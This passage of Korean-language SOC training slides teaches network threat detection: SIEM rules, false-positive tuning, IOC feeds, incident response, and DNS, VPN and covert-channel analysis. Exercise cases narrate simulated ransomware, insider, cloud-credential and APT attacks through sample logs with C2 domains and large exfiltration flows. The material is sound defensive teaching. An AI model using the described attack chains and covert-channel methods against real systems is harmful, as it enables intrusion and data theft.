규칙 5. 내부 확산 탐지

조건: 단일 Src, 5분 내 내부 /16 대역 SMB/RDP 10개 이상 다른 Dst, 이전에 동일 Src SSH 성공 이력

이 5가지 규칙은 서로 연계될 수 있다. Scan → BruteForce → Beaconing → Lateral Movement → Exfiltration이 같은 소스 IP에서 순차적으로 트리거되면 APT 시나리오.

오탐(False Positive) 줄이기 위한 튜닝 전략

오탐이 많으면 분석가가 진짜 위협을 놓친다. 체계적인 FP 분석으로 신뢰할 수 있는 Alert 환경을 만들어야 한다.

심화 · 탐지 튜닝

FP 발생 원인 유형

유형	원인	튜닝 방법
임계값 너무 낮음	정상 트래픽도 초과	임계값 상향
예외 자산 미처리	보안 스캐너가 Scan으로 탐지	신뢰 IP 목록 예외
시간대 미고려	새벽 백업을 이상 Upload로 탐지	시간대 예외 추가
규칙 너무 광범위	모든 POST를 웹쉘로	URI 패턴 세분화

튜닝 프로세스

수집지난 30일 FP 목록 집계

분류원인별 FP 유형 분류 (임계값/예외/패턴)

조치Suppress / 임계값 수정 / 규칙 분리

검증1주일 후 FP 비율 재측정

🚨 FP를 줄이기 위해 임계값을 무조건 높이면 미탐(FN)이 늘어난다. 항상 FP-FN 트레이드오프를 고려해야 한다.

IOC 관리와 Threat Intelligence 실전 연동

알려진 악성 지표(IOC)를 실시간 네트워크 로그와 자동 비교하면 탐지 속도와 확신도가 크게 향상된다.

심화 · Threat Intelligence

IOC 유형별 네트워크 연동

IOC 유형	로그 소스	대조 방법
악성 IP	Flow, Firewall	Dst IP ↔ Blacklist
악성 도메인	DNS 로그	query ↔ Domain Feed
악성 URL	Proxy 로그	URI ↔ URL Feed
JA3 지문	ssl.log	ja3 ↔ C2 JA3 DB
SSL 인증서 해시	ssl.log	cert_hash ↔ Feed

무료 Threat Intel 피드

abuse.ch: URLhaus, MalwareBazaar, Feodo Tracker
AlienVault OTX: IOC 공유 커뮤니티
CISA Known Exploited Vulnerabilities
VirusTotal Graph: IP/도메인 관계 분석
Shodan: 인터넷 노출 서비스 조사

⚠️ IOC는 유효 기간이 있다. 오래된 IOC는 오탐의 원인. 30일 이상 지난 IP IOC는 자동 만료 처리 권장.

사고 대응(IR)에서 네트워크 분석의 역할

사고 발생 시 네트워크는 '무슨 일이 어디까지 퍼졌는가'를 가장 빠르게 알려주는 증거다.

심화 · 사고 대응

IR 단계별 네트워크 역할

탐지/분류Alert 확인, 관련 호스트 식별, 피해 범위 초기 추정

억제감염 호스트 격리, C2 도메인/IP 차단, 확산 차단

조사초기 침투 경로, 내부 이동 경로, 유출 데이터 식별

제거/복구모든 감염 벡터 제거, 백도어 완전 삭제 확인

IR에서 필요한 네트워크 데이터

사고 시점 전후 Flow 로그 (초기 침투 확인)
DNS 로그 (C2 도메인 추적)
Firewall 로그 (허용된 외부 접근 이력)
Proxy 로그 (다운로드/업로드 경로)
필요 시 사고 전후 pcap (상세 분석)

🚨 사고 발생 후 첫 24시간이 가장 중요. 로그 덮어쓰기 전 즉각 백업. 격리 전 네트워크 스냅샷 수집.

네트워크 격리와 차단: 속도 vs 신중함

격리는 가장 빠른 봉쇄 수단이지만 잘못 적용하면 서비스 장애가 된다. 순서와 기준이 필요하다.

심화 · 사고 대응

격리 방법 유형

방법	강도	주의사항
방화벽 차단 (IP 차단)	중간	NAT 뒤 내부 IP 주의
VLAN 격리 이동	강력	스위치 접근 필요
DNS 싱크홀	중간	C2 도메인 차단
EDR 격리	강력	에이전트 설치 필요
케이블 분리	완전	물리적 접근 필요

격리 전 체크리스트

이 호스트가 다른 서비스의 의존성인가?
격리 시 서비스/업무 중단 범위는?
격리 후에도 분석 접근이 필요한가?
격리 결정 권한자(관리자)에게 보고했는가?
격리 전 증거(pcap, 로그) 백업했는가?

💡 중요 서버는 완전 격리 대신 C2 트래픽만 차단하는 방식도 가능. 서비스 영향과 증거 수집을 동시에 달성.

네트워크 사고 보고서 작성법

기술 사실을 기반으로 비기술자도 이해하고 의사결정할 수 있는 보고서 구조를 익힌다.

심화 · 사고 보고서

보고서 4단계 구조

요약Executive Summary: 1페이지. 무슨 일, 피해 범위, 조치 현황

기술기술 분석: 증거, 로그, 공격 경로 상세 설명

타임라인사건 발생부터 대응까지 시간순 정리

권고재발 방지: 기술적/정책적 권고사항

Executive Summary 작성 원칙

기술 용어 최소화, 영향과 결과 중심
"무엇이 언제 일어났는가" → 한두 문장
"어떤 데이터/서비스가 영향 받았는가" → 구체적으로
"현재 상태는 무엇인가" → 격리/복구/조사 중
"다음 단계는 무엇인가" → 명확한 Action

좋은 보고서는 CEO가 5분 안에 읽고 의사결정할 수 있어야 한다. 기술 상세는 별첨으로.

보강 설명네트워크 사고 보고서 작성법 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

추가 실습 케이스 E: 랜섬웨어 초기 단계 탐지

세 단계 각각에서 탐지 기회가 있다. 어느 단계에서 포착하느냐에 따라 피해 규모가 결정된다.

심화 실습 · 케이스 E

1단계: 초기 침투

09:15 Proxy log: GET /doc/invoice_2024.exe from: phishing-site.xyz Source: 10.0.1.45 (영업팀 PC)

신호.exe 파일 다운로드 + 비신뢰 도메인

2단계: C2 연결

09:18 DNS log: 9x3kp.ransom-c2.top A → 185.x.x.99 NOERROR 09:19 Flow: 10.0.1.45→185.x.x.99:443 bytes_in=2.1MB (페이로드 다운)

신호의심 도메인 + 대용량 다운로드

3단계: 내부 확산

09:25 Flow: 10.0.1.45→10.0.0.*/445 192개 호스트 SMB 스캔 09:31: 첫 번째 감염 호스트 Alert

신호내부 SMB 스캔 급증 → 확산 중

분석 질문

① 세 단계 중 어느 단계에서 탐지했어야 피해가 가장 적었는가?

② 09:15~09:25 사이 10분 동안 어떤 조치를 취할 수 있었는가?

③ SMB 스캔이 시작된 09:25에 즉각 조치 시 몇 대를 구할 수 있는가?

🚨 09:15 피싱 다운로드 탐지 → 10분 안에 격리했다면 내부 확산 없음. 초기 탐지의 중요성.

추가 실습 케이스 F: 내부자 위협 탐지

내부자는 정상 인증을 사용한다. 탐지 포인트는 '어디에 언제 어떻게'의 이상함이다.

심화 실습 · 케이스 F

이상 행동 로그 (직원 A: 퇴사 예고 1주일 전)

평소 업무시간: 09:00-18:00 평소 일일 업로드: ~10MB ---이상 행동 탐지--- 토요일 23:45 VPN 로그인 성공 토요일 23:46 파일서버 /confidential/ 접근 토요일 23:47-02:15 개인 Dropbox 업로드: 8.7GB 일요일 00:00- 이메일 외부 전달 대량 감지

분석 질문

① 이 시나리오에서 이상 신호가 발생한 순서를 정리하시오.

② 내부자 위협이 외부 공격보다 탐지하기 어려운 이유는?

③ DLP(Data Loss Prevention) 시스템이 없었다면 어떤 신호로 탐지할 수 있었는가?

④ 이 케이스에서 법적 증거 수집 시 주의사항은?

힌트: 내부자 탐지의 핵심은 기준선 대비 행동 변화. UBA(User Behavior Analytics) 툴이 없어도 시간대 + 업로드량 + 접근 경로 조합으로 탐지 가능.

추가 실습 케이스 G: 클라우드 자격증명 탈취

클라우드 API 키 노출은 인프라 전체가 위험해진다. 비정상 API 패턴으로 조기 탐지가 가능하다.

심화 실습 · 케이스 G

AWS CloudTrail 이상 로그

정상 패턴: 서울 리전, 업무시간, 10-20 API/시간 ---이상 탐지--- 03:22 UTC ConsoleLogin from 185.x.x.10 (러시아) 03:23 ListUsers, ListRoles, ListPolicies 03:24 CreateAccessKey for admin 03:25 RunInstances × 50 (마이닝 의심) 03:26 S3 GetObject (고객데이터 버킷)

3분 안에 계정 탈취 → IAM 권한 정찰 → 새 키 생성 → 리소스 남용 → 데이터 탈취

분석 질문

① 공격자가 3분 안에 완료한 단계들을 Kill Chain으로 나열하시오.

② 가장 먼저 할 조치 3가지는 무엇인가?

③ CreateAccessKey 이벤트가 왜 위험한가?

④ 어떤 감지 규칙이 있었다면 03:22에 즉각 알람이 됐을까?

힌트: ① MFA 없는 콘솔 로그인 + 비정상 국가 ② 즉각: 세션 종료 + 키 비활성화 + MFA 강제화

추가 실습 케이스 H: 공급망 공격 탐지

신뢰된 소프트웨어가 악성 업데이트를 배포하는 공급망 공격. 업데이트 후 새로운 외부 통신이 핵심 탐지 신호다.

심화 실습 · 케이스 H

공급망 공격 시나리오

신뢰된 IT 관리 소프트웨어(Orion 등) 업데이트
악성 DLL이 업데이트에 포함
설치 후 정상 프로세스가 외부 C2에 연결
방화벽은 허용된 소프트웨어이므로 통과
EDR도 정상 프로세스로 인식하여 미탐

탐지 단서

업데이트 전(2024-01-10 이전): SolarWinds → updates.solarwinds.com만 접속 업데이트 후(2024-01-11 이후): SolarWinds → avsvmcloud.com:443도 접속 → 새로운 C2 도메인이 추가됨!

분석 질문

① 공급망 공격이 일반 악성코드 감염보다 탐지하기 어려운 이유 2가지는?

② "업데이트 전후 네트워크 동작 변화"를 어떻게 감지할 수 있는가?

③ 이 공격을 탐지할 수 있었던 SIEM 규칙을 작성해보시오.

실제 사례: SolarWinds Sunburst (2020) — avsvmcloud.com 연결이 탐지 핵심이었으나, 수개월간 탐지되지 않음. DNS 기반 첫 접촉 후 다른 C2로 이전하는 2단계 설계.

DDoS 공격 분석과 대응 전략

세 가지 DDoS 유형은 탐지 지표가 다르다. 올바른 유형 식별이 빠른 대응의 시작이다.

심화 · DDoS 분석

볼류메트릭 (Volumetric)

목적: 네트워크 대역폭 고갈
방법: UDP Flood, ICMP Flood, DNS Amplification
탐지: BPS/PPS 급증, 증폭 요인 확인
대응: ISP 업스트림 블랙홀, CDN 흡수

프로토콜 (Protocol)

목적: 서버/방화벽 상태 테이블 고갈
방법: SYN Flood, ACK Flood, Fragmentation
탐지: SYN_RCVD 상태 급증, Half-open 연결
대응: SYN Cookie, 방화벽 임계값 설정

애플리케이션 (L7)

목적: 서버 자원(CPU/메모리) 고갈
방법: HTTP Flood, Slow Loris, SSL 재협상
탐지: 동일 URL 대량 요청, 느린 연결
대응: Rate Limiting, CAPTCHA, WAF

⚠️ DDoS는 종종 다른 공격을 숨기기 위한 연막으로 사용된다. DDoS 대응 중에도 C2 통신이나 데이터 유출이 동시에 진행될 수 있다.

보강 설명DDoS 공격 분석과 대응 전략의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

DNS 심화: Passive DNS와 Fast Flux 탐지

Passive DNS는 도메인의 과거 IP 이력을 보여준다. Fast Flux는 이 이력이 너무 자주 바뀌는 것이 특징이다.

심화 · DNS 분석

Passive DNS 활용

특정 도메인의 역사적 IP 매핑 이력 조회
같은 IP를 공유한 다른 도메인 발견
도메인 최초 등록 ~ 현재까지 추적
도구: SecurityTrails, VirusTotal, CIRCL pDNS

Fast Flux 탐지 지표

domain: evil-flux.net TTL: 60초 (매우 짧음) 2024-07-15 10:00 → 5.x.x.1 2024-07-15 10:05 → 85.x.x.22 2024-07-15 10:10 → 109.x.x.77 5분마다 다른 IP로 변경!

Fast Flux vs 정상 CDN 비교

특성	CDN (정상)	Fast Flux (의심)
TTL	300-3600초	60초 이하
IP 범위	CDN 공식 ASN	다양한 ASN (봇넷)
IP 수	수십~수백 (안정)	수백~수천 (무작위)
도메인 평판	높음	낮음/신규

💡 Fast Flux 탐지: Zeek에서 동일 도메인의 answers 필드를 시간별로 추적. 5분 안에 3개 이상 다른 IP면 조사 트리거.

DoH/DoT: 암호화 DNS가 만드는 모니터링 공백

DNS over HTTPS/TLS는 프라이버시를 높이지만 조직 내 DNS 모니터링을 우회한다. SOC는 이 공백을 알아야 한다.

심화 · DNS 분석

DoH / DoT 특징

방식	포트	특징
DNS	UDP 53	평문, 쉽게 감지
DoT	TCP 853	TLS 암호화, 포트로 식별
DoH	TCP 443	HTTPS에 섞여 가장 감지 어려움

SOC 관점 문제점

DoH는 DNS 조회를 HTTPS로 전송 → DNS 로그에 안 잡힘
기존 DNS 블랙리스트 차단이 무력화
C2 도메인을 DoH로 조회하면 탐지 불가

대응 전략

DoT(853) → 방화벽에서 차단하여 내부 DNS만 허용
DoH → 알려진 DoH 서버 도메인 차단 (1.1.1.1, dns.google)
엔드포인트 정책: 브라우저 내장 DoH 비활성화
내부 DoH 서버 구축으로 로그 유지하면서 보안 제공

⚠️ 브라우저(Chrome, Firefox)가 자체적으로 DoH를 사용할 수 있다. 정책으로 비활성화하지 않으면 DNS 모니터링에 공백이 생긴다.

HTTP/2, HTTP/3 분석 특성

최신 HTTP 버전은 분석 도전이 있다. 특히 UDP 기반 QUIC(HTTP/3)는 기존 TCP 도구로 분석이 제한된다.

심화 · HTTP 분석

HTTP/1.1 (기존)

TCP 연결 1개 = 1개 요청
헤더 평문 (Proxy에서 완전 분석)
Wireshark로 완전 분석 가능
분석 용이

HTTP/2

1개 TCP 연결 → 여러 스트림 동시
헤더 압축 (HPACK)
Zeek http.log에서 자동 지원
분석 가능하지만 복잡

HTTP/3 / QUIC

UDP 443 사용 (TCP가 아님!)
연결 마이그레이션 지원
TLS 1.3 필수
기존 TCP 도구로 분석 불가

HTTP/3 탐지 주의사항

UDP 443으로 전송 → 방화벽이 HTTPS로 허용
기존 TCP Proxy/WAF는 QUIC를 차단하거나 무시
Zeek 4.x+ 에서 QUIC 로그 지원 시작

💡 HTTP/3 대응: UDP 443 트래픽을 Zeek로 분석하거나, 브라우저가 자동 폴백하도록 UDP 443 차단 → HTTP/2로 전환 유도 후 분석.

보강 설명HTTP/2, HTTP/3 분석 특성에서는 요청 한 줄보다 Method·URI·상태코드·응답 크기·헤더 변화까지 같이 읽어야 한다. 암호화되어도 SNI, 인증서, JA3, 세션 주기 같은 행동 단서는 계속 남는다.

HTTP/TLS행위 해석로그 연계

핵심 포인트

Method와 URI는 의도, 상태코드와 bytes는 결과를 보여준다
반복 요청, 헤더 이상, 비정상 경로 접근은 자동화 공격 신호다
TLS는 내용을 숨겨도 인증서와 세션 패턴으로 충분히 해석 가능하다

추가 확인

같은 Source의 전후 URL 흐름을 묶어 탐색→시도→성공 여부 확인
Proxy·WAF·App 로그에서 같은 요청이 어떻게 보였는지 대조
평소 서비스 구조상 존재하지 않는 경로나 업로드 경로인지 점검

실무 예시

404 급증은 스캐닝, 200 전환은 성공 가능성으로 이어질 수 있다
Self-signed 인증서와 규칙적 443 세션은 C2 가능성을 높인다
웹쉘은 업로드 로그와 실행 로그를 반드시 체인으로 본다

VPN 트래픽 분석과 SOC 고려사항

VPN은 정상 업무 도구지만 개인 VPN 사용이나 VPN 취약점 악용은 모니터링 공백을 만든다.

심화 · VPN 분석

기업 VPN 모니터링

VPN 서버 로그: 접속 IP, 시간, 사용자
비정상 국가에서의 VPN 로그인 → 계정 탈취 의심
다수 지역에서 동시 VPN 로그인 → 자격증명 공유
VPN 연결 후 비정상 행동 → 연결 시간과 행동 교차

개인 VPN 사용 탐지

알려진 VPN 서비스 IP → Proxy 로그에서 차단
VPN 프로토콜 포트: OpenVPN(1194), WireGuard(51820), IKEv2(500/4500)
암호화된 UDP 트래픽이 갑자기 증가

VPN 취약점 악용 패턴

Pulse Secure, Citrix, Fortinet VPN 취약점 (2019-2021)
인증 전 파일 읽기 → 자격증명 탈취
탐지: VPN 서버로 비정상 요청 (비표준 URL)

⚠️ Split Tunneling: VPN 연결 중에도 일부 트래픽은 직접 인터넷으로 → 모든 트래픽을 강제 VPN 통과하는 Full Tunneling 권장

네트워크 은닉 채널(Covert Channel) 종합 정리

방화벽을 우회하는 다양한 은닉 채널. 각각의 특징과 탐지 방법을 한눈에 비교한다.

심화 · 은닉 채널

은닉 채널 유형	방법	탐지 신호	어려움
DNS Tunneling	DNS 서브도메인에 데이터 인코딩	긴 서브도메인, TXT 대량, 외부 DNS	중간
ICMP Tunneling	Ping Payload에 데이터 삽입	Payload 크기 이상, 빈도 증가	중간
HTTP Covert	HTTP 헤더/바디에 데이터 삽입	비정상 헤더, 규칙적 POST	높음
DoH Tunneling	DoH 쿼리에 데이터 삽입	DoH 사용 자체가 정책 위반	매우 높음
Protocol Steganography	TCP 시퀀스 번호, TTL에 데이터	통계적 이상 분석 필요	매우 높음

💡 공통 탐지 원칙: 비정상 데이터 크기 + 비정상 빈도 + 정책 위반 목적지. 통계적 분석이 시그니처보다 효과적.

⚠️ 은닉 채널은 Content Filtering + DPI(Deep Packet Inspection)를 조합해야 탐지 가능. 단일 도구로는 한계.

네트워크 가시성 전략: 센서 위치가 탐지 범위를 결정한다

가시성 공백이 있으면 그 경로로 공격이 이뤄진다. 센서 배치 전략이 탐지 커버리지를 결정한다.

심화 · 가시성 전략

센서 배치 우선순위

1순위인터넷 경계(Internet Edge): 모든 인바운드/아웃바운드

2순위DMZ: 외부 서버군 앞 트래픽

3순위내부 Core 스위치: East-West 트래픽

4순위중요 서버 세그먼트: DB, AD, 결제 서버 앞

센서 연결 방법

방법	장점	단점
TAP (Network Tap)	패킷 손실 없음, 수동적	비용 높음
SPAN 포트	저렴, 유연	부하 시 패킷 드롭
Software Agent	호스트 레벨 가시성	에이전트 미설치 불가

⚠️ 동-서(East-West) 트래픽이 모니터링되지 않으면 내부 확산을 감지할 수 없다. 인터넷 경계만 보는 것은 절반의 가시성.

Zero Trust 네트워크와 SOC 분석의 변화

Zero Trust는 모든 접근을 의심하고 검증한다. 이 환경에서 SOC의 탐지 방법도 달라진다.

심화 · Zero Trust

Zero Trust 핵심 원칙

"절대 신뢰하지 마라, 항상 검증하라"
내부망이라도 모든 접근 인증 필요
마이크로 세그멘테이션: 서비스 간 최소 권한 통신
디바이스 + 사용자 + 컨텍스트 모두 검증

Zero Trust의 탐지 장점

마이크로 세그멘테이션 → 내부 확산 즉시 차단
모든 접근이 로그됨 → 증거 완전
비정상 접근 = 즉각 거부 + 알람

Zero Trust 구현 도전

레거시 시스템은 인증서 기반 인증 불가
정책 설계 실수 → 정상 서비스 장애
로그 양 폭발 → SIEM 부하 증가
완전 구현까지 수년이 걸리는 여정

💡 Zero Trust는 "도달해야 할 목표"이지 "즉시 구현 가능한 제품"이 아니다. 단계적 접근: 인터넷 경계 → 앱 레이어 → 데이터 레이어 순서.

네트워크 보안 성숙도 5단계 자가 진단

조직의 현재 위치를 파악해야 다음 단계 투자 방향이 보인다. 5단계 모델로 자가 진단해보자.

심화 · 성숙도 모델

Lv.1

초기

방화벽만 있음. 네트워크 로그 없음. 사고 후에야 알게 됨.

Lv.2

기초

Firewall/IDS 있음. 로그 수집. 기본 Alert만 사용.

Lv.3

운영

SIEM 도입. DNS/Flow/Proxy 수집. 상관관계 규칙 운영.

Lv.4

능동

Threat Hunting. IOC 자동화. 기준선 기반 탐지.

Lv.5

최적화

ML 이상 탐지. Zero Trust. 자동화 대응. 지속 개선.

자가 진단 질문

☐ DNS/Flow 로그를 실시간 수집하는가? (Lv.3 기준)

☐ 상관관계 SIEM 규칙이 5개 이상 운영 중인가? (Lv.3)

☐ Threat Hunting을 주기적으로 수행하는가? (Lv.4)

☐ IOC 피드가 SIEM에 자동 연동되는가? (Lv.4)

보강 설명네트워크 보안 성숙도 5단계 자가 진단 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

네트워크 보안 분석가 커리어 개발 로드맵

지금부터 1~3년 안에 전문 분석가로 성장하는 구체적인 경로

심화 · 커리어

 지금 당장 (1~3개월)
Zeek + Wireshark 로컬 환경 구축
Malware-Traffic-Analysis.net pcap 10개 분석
TryHackMe / Blue Team Labs 실습
매일 CTF 네트워크 문제 1개
SIEM(Splunk Free / ELK) 개인 환경 구축


 3~12개월
CompTIA Security+ 또는 CySA+ 취득
SOC 분석가 1~2년 경력 쌓기
Zeek 스크립트 10개 이상 작성 경험
실제 사고 대응 1건 이상 참여
MITRE ATT&CK 네트워크 전술 전체 공부


 1~3년
GCIA (GIAC 네트워크 포렌식)
GCIH (사고 대응 전문가)
Threat Hunting 독립 수행 가능
SIEM 규칙 설계 및 운영 전담
컨퍼런스 발표 (KISA, ISEC 등)

필수 학습 리소스

📗 Chris Sanders - Network Forensics Analysis

🌐 Malware-Traffic-Analysis.net

🎯 MITRE ATT&CK Navigator

🔬 Security Onion (무료 SOC 플랫폼)

📹 SANS Webcast (무료)

💬 Threat Hunting Discord

보강 설명네트워크 보안 분석가 커리어 개발 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

통합 케이스: APT 전체 흐름 분석 (1/3) — 침투 및 거점 확보

실제 APT 시나리오를 처음부터 끝까지 추적한다. 이 슬라이드는 1단계: 최초 침투부터 C2 확립까지.

통합 케이스 · APT

Day 1: 최초 침투

09:42 Proxy: GET /docs/proposal.doc.exe src: 10.0.2.33 (기획팀 사원B) 09:45 DNS: loader.stage1-c2.top A → 45.x.x.10 09:46 Flow: 10.0.2.33→45.x.x.10:80 bytes_in=280KB

단계Initial Access

Day 1+1h: C2 확립

10:48 DNS: check.update-cdn.net A → 91.x.x.55 10:50~ Flow (반복): 10.0.2.33 → 91.x.x.55:443 5분 간격, duration=3s, bytes=512B ssl.log: issuer=Self-Signed, JA3=a0e9f5d6...

단계Command & Control

Day 2: 내부 정찰

Day2 03:00~ Flow: 10.0.2.33→DC:389 LDAP 1,240회 10.0.2.33→DC:88 Kerberos TGS×87 다수 서비스 계정 TGS 요청 → Kerberoasting 의심

단계Discovery & Credential Access

1단계 분석 질문

① Day1 09:42~10:50 사이 어떤 조치가 공격을 막을 수 있었는가?

② Self-signed 인증서 + 5분 간격 Beaconing이 동시에 보인다. 어떤 판단을 하는가?

통합 케이스: APT 전체 흐름 분석 (2/3) — 내부 이동과 유출 준비

자격증명 획득 후 내부 이동, 핵심 서버 접근, 데이터 수집 단계의 네트워크 흔적

통합 케이스 · APT

Day 3: Lateral Movement

Day3 01:15~ Flow: 10.0.2.33 → 10.0.0.10:445 SF 2.1MB 10.0.2.33 → 10.0.0.20:3389 SF 1.8MB 10.0.0.20 → 10.0.5.100:445 SF 4.2MB → 파일서버(10.0.5.100) 접근 성공

단계Lateral Movement

감염 호스트10.0.2.33 + 10.0.0.20

Day 4-5: 데이터 수집

Day4~5 Flow (파일서버→공격자 PC): 10.0.5.100→10.0.0.20 SMB bytes=45GB Day5 DNS (기획팀 PC): stage.cloud-archive.net A → 198.x.x.33 Day5 Flow: 10.0.0.20 → 198.x.x.33:443 bytes_out=45.3GB duration=8h22m

단계Collection + Exfiltration

📝 2단계 핵심 관찰

감염이 10.0.2.33 → 10.0.0.20 → 파일서버로 확산됐다. 동-서(East-West) 모니터링 없었다면 이 이동은 완전히 보이지 않았을 것이다.

통합 케이스: APT 전체 흐름 분석 (3/3) — 탐지, 대응, 복기

어느 시점에 탐지됐고, 어디서 더 일찍 잡을 수 있었는가? Lessons Learned가 다음 사고 예방의 기반이 된다.

통합 케이스 · APT

Day1 09:42악성 파일 다운로드 — Proxy 로그에 기록. 탐지 가능했으나 미탐

Day1 10:50C2 Beaconing 시작 — DNS + Flow 이상. 탐지 가능했으나 미탐 (룰 없음)

Day3 01:15내부 SMB 확산 — IDS Alert 발생. 처음 탐지되었으나 대응 지연

Day5 09:00DLP Alert: Upload 45GB. 조사 시작. 이미 데이터 유출 완료.

사후 복기: 무엇을 놓쳤나

Proxy 로그 .exe 다운로드 Alert 없음 → 추가 필요
Self-signed + Beaconing 상관 룰 없음 → 추가 필요
East-West SMB 모니터링 공백 → 센서 추가 필요
DLP 임계값이 너무 높아 사고 후에야 탐지

재발 방지 권고사항

실행 파일(.exe/.dll) 다운로드 즉각 Alert
Self-signed + 규칙성 + 비업무 시간 복합 룰 추가
내부 SMB 트래픽 모니터링 센서 확장
DLP 임계값 재조정 (현재 10배 → 3배로)

개인 실습 과제: 실제 pcap 분석 도전

강의 후 스스로 도전할 수 있는 무료 실습 자료와 목표를 제시한다.

심화 실습 · 과제

실습 환경 구축

Security Onion: 무료 SOC 플랫폼 (VM 설치)
Zeek + Wireshark: Ubuntu VM 구성
Splunk Free: SIEM 실습
Docker Compose: ELK + Filebeat 스택

3주 실습 목표

1주차: malware-traffic-analysis.net 에서 Emotet 감염 pcap 1개 분석 → 감염 흐름 보고서 작성

2주차: Security Onion 환경에서 SIEM 상관관계 룰 3개 작성 → 테스트

3주차: TryHackMe Network 경로 5개 완료 → 풀이 블로그 작성

권장 첫 실습: malware-traffic-analysis.net/2024/01/ → 최신 달 아무 케이스 선택 → Wireshark + Zeek로 분석

MITRE ATT&CK 네트워크 매핑: 탐지 공백을 찾아라

관찰한 네트워크 패턴을 ATT&CK에 매핑하면 우리가 탐지하는 것과 못 하는 것이 구조적으로 보인다.

심화 · ATT&CK 매핑

네트워크 패턴	ATT&CK 전술	대표 Technique	탐지 데이터
Port Scan	Reconnaissance	T1046 Network Service Discovery	Flow, IDS
Brute Force SSH/RDP	Credential Access	T1110 Brute Force	Auth Log, Flow
DNS Beaconing	Command & Control	T1071.004 DNS C2	dns.log
HTTPS Beaconing	Command & Control	T1071.001 Web Protocols	ssl.log, Flow
SMB 내부 확산	Lateral Movement	T1021.002 SMB/Windows Admin	Flow, SMB log
대용량 외부 업로드	Exfiltration	T1041 Exfil Over C2	Flow, Proxy
LDAP 대량 쿼리	Discovery	T1087 Account Discovery	LDAP log

💡 ATT&CK 매핑은 외우는 것이 목적이 아니다. "우리 SIEM은 어떤 Technique을 탐지하고, 어떤 것을 못 하는가"를 구조적으로 파악하는 도구로 사용하라.

⚠️ 탐지 공백 발견 시 → 새 SIEM 룰 추가 or 센서 위치 조정 or 대안 탐지 방법 검토. 공백을 알아야 우선순위가 생긴다.

단일 Alert를 '사건 체인'으로 엮는 법

SOC의 수준은 이벤트를 보는 데서 갈리지 않고, 이벤트를 사건으로 엮을 수 있느냐에서 갈린다.

심화 · 분석 사고력

사건 체인 연결 원칙

같은 출발지/목적지 IP로 연결되는가
시간 순서가 공격 흐름과 자연스럽게 맞는가
다른 로그가 이 체인을 보강하는가
지금 어느 단계에서 차단해야 하는가

Port Scan

→

SSH 반복 실패

→

로그인 성공

→

C2 통신

→

데이터 유출

체인 기반 판단문 예시

Fact: 10.0.2.33에서 포트 스캔 → SSH 14회 실패 → 성공 (03:22)
Pattern: 성공 직후 외부 443 Beaconing 시작, 5분 간격
Context: 해당 호스트는 개발 서버, 야간 접근 비정상
Action: 즉각 격리 후 forensic 분석 권고

💡 이 4줄 구조(Fact→Pattern→Context→Action)가 에스컬레이션과 보고서 모두에 통하는 표준 포맷이다.

Wireshark: 처음부터 다 보려 하지 마라 — 현미경으로 써라

Wireshark는 정밀 검증 도구다. 이상 구간을 먼저 좁힌 뒤, 해당 세션만 깊게 보는 방식이 올바른 사용법이다.

도구 실습 · Wireshark

올바른 Wireshark 사용 흐름

1단계Flow/SIEM에서 이상 시간대·IP·포트 특정

